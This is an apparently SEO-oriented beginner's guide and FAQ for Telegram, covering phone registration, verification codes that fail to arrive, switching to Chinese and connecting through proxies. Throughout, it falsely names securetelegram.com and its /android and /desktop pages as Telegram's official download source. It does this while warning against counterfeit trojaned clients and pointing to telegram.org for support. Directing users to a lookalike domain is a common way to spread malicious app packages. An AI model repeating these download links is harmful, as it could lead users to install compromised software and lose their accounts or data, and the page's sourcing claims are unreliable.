Getting Started

Telegram for Beginners: One Guide Is Enough

郑凯 · 评测编辑 · 2026-06-14 · 2026-06-22

From downloading, registering, and switching to Chinese to adding friends and creating groups, the shortest path to get you started with Telegram from scratch.

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Getting Started With Telegram

From downloading, registering, and switching to Chinese to adding friends and creating groups, the shortest path to get you started with Telegram from scratch.

Step 1: Download and Install

Download the installer for your platform from the official source securetelegram.com, then open the app after installing.

What to do when you cannot receive the SMS verification code for Telegram registration

Troubleshoot in this order: 1) Confirm you can connect to the Telegram servers reliably (when the network is down, the code request itself cannot be sent);

The Telegram verification code never arrives, how long until it resends

Do not keep tapping resend over and over in the Telegram Chinese Version. Tapping repeatedly in a short time triggers risk control, which flags it as suspicious activity and suspends delivery. The carrier side also has limits (some sources say a single number can receive at most about 10 codes within 24 hours).

It is recommended to wait 5-10 minutes between each try. If you are already locked, wait about 24 hours and try again or use the official appeal channel. Also confirm the network can reach the servers, the number format is correct, check the spam SMS folder, and for mainland numbers confirm international SMS reception has been enabled.

After installing Telegram, how do I log in for the first time and what steps are needed

For the first login in the Telegram Chinese Version use a phone number: 1) Open the app, select the country code for your region (such as Singapore +65, Malaysia +60, Taiwan +886), and enter your phone number;

If you have enabled two-step verification, you also need to enter the two-step verification password again. It is recommended to enable two-step verification after logging in to protect your account, and never send your verification code to anyone.

Step 2: Register and Switch to Chinese

Register and log in with a phone number, then go to Settings > Language and choose Simplified Chinese, and the interface switches to Chinese instantly.

My Taiwan phone number never gets the SMS for Telegram registration, is it restricted

In the Telegram Chinese Version a Taiwan phone number uses the +886 format, and the number must drop the leading 0 and start directly from 9 (for example 0912... is entered as +886 912...).

Entering the format wrong is a common cause. Next, the carrier may filter the verification SMS as international spam, and prepaid cards may also fail to receive it. Trying too many times locks you out for about 24 hours, so it is best to try again the next day. You can also wait 1-2 minutes and try the voice Call Me option (note that new numbers without two-step verification often cannot use it). If none of that works, switch to a different physical phone number or use the official appeal channel.

Telegram registration shows too many attempts, how long until I can request a code again

This happens when repeatedly tapping resend triggers risk control, and Telegram judges it as suspicious activity and suspends delivery of your verification code.

Generally just stop and wait out the cooldown. First wait 5-10 minutes and try again. If you are already locked, it is recommended to wait about 24 hours and try again, or use the official appeal channel at telegram.org/support. The carrier side also has limits (some sources say a single number can receive at most about 10 codes within 24 hours). The key is to stop tapping continuously, because the more you tap the longer the lock lasts.

Telegram registration is rate-limited, how long until I can get the verification code again

Rate limiting happens because repeatedly requesting codes in a short time triggered risk control. A mild case usually recovers after waiting 5-10 minutes and trying again. If you are already locked, it is recommended to wait about 24 hours and try again.

The carrier side also has limits (some sources say a single number can receive at most about 10 codes within 24 hours). During this time do not keep tapping resend, or you will extend the lock. If it still fails after the cooldown, switch to a real phone number, or go to telegram.org/support to appeal.

Step 3: Add Friends, Create Groups, and Send Files

Add friends by phone number or username, create groups, subscribe to channels, and send single files up to 2GB.

How to troubleshoot when an Android phone cannot receive the Telegram verification code

On Android, check in order: 1) whether the network can connect to Telegram reliably; 2) whether the phone number country code and format are correct; 3) check the spam or blocked SMS folder in your messages;

It is recommended to install the official package from the official site securetelegram.com/android or from Google Play.

What to do when an iPhone never receives the Telegram SMS code during registration

First confirm you installed the official Telegram (developer Telegram FZ-LLC or Telegram Messenger).

Troubleshoot not receiving the code in order: whether the network can connect to Telegram reliably, whether the number country code and format are correct, check the spam or blocked folder, and for mainland numbers confirm international SMS is enabled. After 1-2 minutes you can try the voice Call Me option, but the official documentation says the voice code readout is only available for accounts that have enabled two-step verification, so new numbers often cannot use it. Do not keep tapping resend or you will get locked by risk control. Wait a few minutes between tries, and if locked wait about 24 hours or use the official appeal channel.

Sources: Telegram official site · Telegram official FAQ · Telegram feature tour

FAQ

Beginner FAQ

Answers to the download, registration, Chinese-language, and add-friend issues that trip up beginners most.

How do I register a Telegram account? What steps does a first-time beginner need?

Telegram registers with a phone number: 1) Download the official app and open it; 2) Select the country code for your region and enter your phone number in international format, such as Singapore +65, Malaysia +60, Taiwan +886 (for +886, drop the leading 0 and start from 9); 3) Receive the SMS verification code and enter it (about 1-2 minutes); 4) Set a nickname and avatar to finish creating the account. An account can only be tied to a phone number and cannot be created out of thin air with an email. It is recommended to enable two-step verification after registering to protect your account.

How do I register a phone number on the paper-plane app?

The paper plane is Telegram, and registration can only use a phone number. After opening the app, select the country code for your region and enter your phone number, which must be in international format: Singapore +65, Malaysia +60, Taiwan +886 (for +886, drop the leading 0 of the phone number and start from 9), Hong Kong +852. After entering it you will receive an SMS verification code, and entering it completes registration. Note that an account can only be tied to a phone number, does not support landlines, and cannot be created out of thin air with an email.

Does Telegram registration require a phone number? Can I register with an email?

A phone number is required, and you cannot register with an email. A Telegram account can only be tied to a phone number (landlines are not supported). Email is not a registration method: it is only a backup login method for users who already have an account and log in fairly often, and you must first bind the email under two-step verification before login codes will be sent to it. In other words, without a phone number you cannot create a new account out of thin air. Enter the phone number in international format, such as Singapore +65, Malaysia +60.

What to do when Telegram registration does not receive the verification code?

Troubleshoot in order: 1) Confirm the network can connect to the Telegram servers reliably, otherwise the code request cannot be sent at all; 2) Verify the country code and number format (for Taiwan +886, drop the leading 0 and start from 9); 3) Check the spam or blocked SMS folder on your phone; 4) For mainland +86 numbers, confirm international and Hong Kong, Macao, Taiwan SMS reception is enabled (disabled by default in many areas since May 2022, you can call carrier support to enable it); 5) Do not keep tapping resend, wait 5-10 minutes and try again to avoid triggering risk control; 6) If it still fails, switch to a real phone number, or use telegram.org/support to appeal. Note that virtual numbers and code-receiving platform numbers are often rejected outright by risk control.

Why does Telegram never receive the verification SMS?

Common causes: 1) the network is not connected to the Telegram servers, so the code request cannot be sent; 2) the country code or number format is entered wrong; 3) it was filtered as spam by the phone into the spam folder; 4) the mainland +86 number does not have international and Hong Kong, Macao, Taiwan SMS reception enabled (disabled by default in many areas since May 2022); 5) repeatedly tapping resend triggered risk control and delivery was suspended; 6) a virtual number, Google Voice, or code-receiving platform number was used, which are often filtered as international spam by the carrier or rejected outright by Telegram risk control. Troubleshoot these one by one, and switch to a real physical phone number and try again if needed.

What kind of phone number is more reliable for Telegram registration so the code arrives?

The most reliable approach is to use your local real physical phone number, entered in international format: add the country code in front, for example Singapore +65, Malaysia +60, Taiwan +886, Hong Kong +852. A physical SIM card number has the highest code-receiving success rate. Avoid virtual numbers and Google Voice and other numbers without a physical SIM, and do not use code-receiving platform numbers, as these are often rejected outright for verification codes by Telegram risk control, and may even get banned later. Just confirm before registering that your local carrier does not filter international SMS as spam.

Telegram cannot log in and keeps spinning, how do I solve it?

Constant spinning usually means it cannot connect to the Telegram servers, so the code or login request cannot be sent at all. First check whether the network environment can connect to Telegram reliably. In some restricted areas you need an available network environment or a proxy to connect. Telegram officially also provides a built-in MTProto proxy to bypass blocking. After connecting, verify the phone number country code and format are correct, and if needed close and reopen the app to retry. If it still hangs, wait a few minutes for a cooldown and try again, and avoid repeated tapping that causes risk control.

How do I handle not receiving the SMS verification code for tg registration?

Troubleshoot in order: 1) Confirm the network can connect to Telegram reliably; 2) Verify the phone number country code and format are correct; 3) Check the spam or blocked messages folder on your phone; 4) For mainland +86 numbers confirm international SMS reception is enabled; 5) After 1-2 minutes try the Call Me voice option on the registration page to get the code (note: the official documentation says the voice code readout is only available for accounts that have enabled two-step verification, so new numbers often cannot use it); 6) Do not keep tapping resend, wait 5-10 minutes and try again; 7) If it still fails, switch to a real phone number, or go to telegram.org/support to appeal.

Telegram login tutorial, how do I log in when switching from an old phone to a new one?

Install the official Telegram on the new phone and enter the same phone number tied to your account (in international format). Telegram will send the login verification code to the Telegram on your old logged-in device (not by SMS), so view it on the old device and enter it; only when the old device is not nearby will it switch to sending an SMS. If you set a two-step verification password, the last step of login also requires that password. Account data is in the cloud, so chat history syncs automatically after logging in. Telegram also supports login methods like Passkey (Face ID, Touch ID, PIN).

Can I register Telegram with a mainland China +86 phone number?

Yes, but +86 often fails to receive the verification code, and the main cause is not a Telegram fault. Since May 2022 the three major carriers in many areas have disabled international and Hong Kong, Macao, Taiwan SMS reception by default, and you need to actively enable it before you can receive overseas verification codes. After enabling it, trying again usually works. The activation method varies across sources, so the most reliable way is to call carrier support directly (China Mobile 10086, China Unicom 10010, China Telecom 10001) to confirm enabling it. If you still cannot receive it after enabling, switch to voice or change to a local physical number.

What to do when a Hong Kong phone number does not receive the Telegram verification code?

A Hong Kong number uses the international format of +852 plus the number. If you do not receive it, first check: whether the network can connect to Telegram reliably, whether it is in the spam or blocked folder, and whether the number format is correct. Prepaid cards or number ranges flagged for abuse may be filtered as international spam by the carrier, which is a common cause. Do not keep tapping resend, because triggering risk control suspends delivery, so wait 5-10 minutes and try again. If locked, wait about 24 hours and try again. If it still fails, switch to a real physical number, or use telegram.org/support to appeal.

I cannot download Telegram from the App Store on iPhone, how do I register?

Telegram has been removed from the App Store in the mainland China region, so a mainland Apple ID cannot find the official app in search, because which apps the App Store shows depends on the Apple ID registration region rather than the device network. The solution is to switch to or register an overseas region Apple ID (US, Hong Kong, Taiwan, and so on), then search Telegram in the App Store to download it. Be sure to verify the developer is the official Telegram FZ-LLC or Telegram Messenger, and do not download a counterfeit app with the same name and icon. After installing, just register normally with a local physical phone number in international format.

What to do when I forget the two-step verification password I set during Telegram registration?

The two-step verification password is that string of password you must enter at login in addition to the verification code. If you forget it and you bound a recovery email at the time, you can reset it through the email. If you did not bind an email, you can only use the official process, resetting the account after waiting out a fairly long security cooldown as prompted. The official side handles this part specifically, so it is recommended to go to telegram.org/support or the forgot-password option on the login page and follow the prompts. A note: the source material does not cover the specific reset steps, so the above is the general approach and needs hands-on confirmation. It is recommended to always bind a frequently used email to two-step verification.

I changed to a new phone number, how do I migrate my old Telegram account over?

Telegram supports re-binding the account to a new phone number, and the account itself and chat history are in the cloud, so they will not be lost when you change numbers. The way to do it is to log in with the old number, go to the account-related Change Number option in settings, enter the new number and complete its verification code check, and the binding transfers to the new number, with existing chats, groups, and contacts all retained. The prerequisite is that you can still log in with the old account. A note: the source material does not cover the step-by-step path for this menu, so the above is the general approach and needs hands-on confirmation.

Can I register Telegram domestically without a VPN? What if it does not open?

In restricted areas like the mainland, you often need an available network environment to reach the Telegram servers, otherwise the request to send the verification code cannot be sent itself, so naturally you cannot register. Telegram officially provides a built-in MTProto proxy to bypass blocking, which hides the IP and obfuscates traffic so the carrier has trouble identifying Telegram traffic. Once you can connect reliably, register with a local physical phone number in international format. A mainland +86 number also needs international SMS reception enabled first to receive the code.

Telegram does not open and stays connecting, do I need a proxy to register?

Yes. In restricted areas when you cannot connect, the code request cannot be sent and it will keep showing connecting. You need an available network environment or a proxy to connect. Telegram comes with a built-in MTProto proxy that can bypass blocking. It hides the IP and obfuscates traffic so the carrier has trouble identifying it as Telegram. After connecting, just verify the phone number format and register normally. Note that you should only use the official proxy mechanism, and do not download a third-party so-called accelerated client just to speed things up, because those modified packages carry the risk of account theft and embedded trojans.

Telegram registration is stuck on connecting and will not go through, how do I fix it?

Connecting means the app cannot reach the Telegram servers. First check whether the network is stable. Restricted areas need an available network environment or a proxy. The MTProto proxy built into Telegram can bypass blocking, hide the IP, and obfuscate traffic. You can try switching networks (swap mobile data and Wi-Fi) and closing and reopening the app. After connecting, verify the phone number country code and format. Do not keep tapping to request the code while not connected, to avoid triggering risk control. If it still fails, switch the network environment or enable the official proxy and try again.

Are the registration flows for the Telegram Chinese Version and the official version the same? Do I register them separately?

They are exactly the same, and you do not register separately. In fact there is no separate Telegram Chinese Version app at all. Every platform uses the same official client, and the Chinese Version just switches the official interface into Chinese. So you install the official app, register with a local physical phone number in international format, and after logging in go to Settings > Language and switch to Chinese. The account is universal and the flow is the same. Never download a so-called Chinese version or localized version installer, because those are third-party modified packages that carry the risk of account theft and embedded trojans.

Which Telegram Chinese Version is safe to download so registration does not get my account stolen?

There is no safe Chinese version to download, because there is no separate Chinese version app officially at all. Anything labeled Telegram Chinese Version, localized version, accelerated version, cracked version, or Plus enhanced version is basically a third-party modified package, with risks of account theft, data leaks, and embedded trojans, and there is a real case of a counterfeit channel with up to about 800K subscribers that was essentially a trojan. Only download the official package from the official site securetelegram.com (Android securetelegram.com/android, desktop securetelegram.com/desktop) or from the legitimate Google Play or App Store, then go to Settings > Language and switch to Chinese after installing. Also enable two-step verification, and never send your verification code to anyone.

Are the paper-plane Chinese version and Telegram the same account? Is the login universal?

Paper plane is the common Chinese nickname for Telegram, and it refers to Telegram itself. Officially there is only one client and no separate paper-plane Chinese version, and the so-called Chinese version just switches the official interface into Chinese. So it is the same account and the login is universal. It is recommended to download the official app only from the official site securetelegram.com or a legitimate app store, then go to Settings > Language and switch to Chinese. Do not download a third-party modified package called the paper-plane Chinese version, because those carry the risk of account theft and embedded trojans.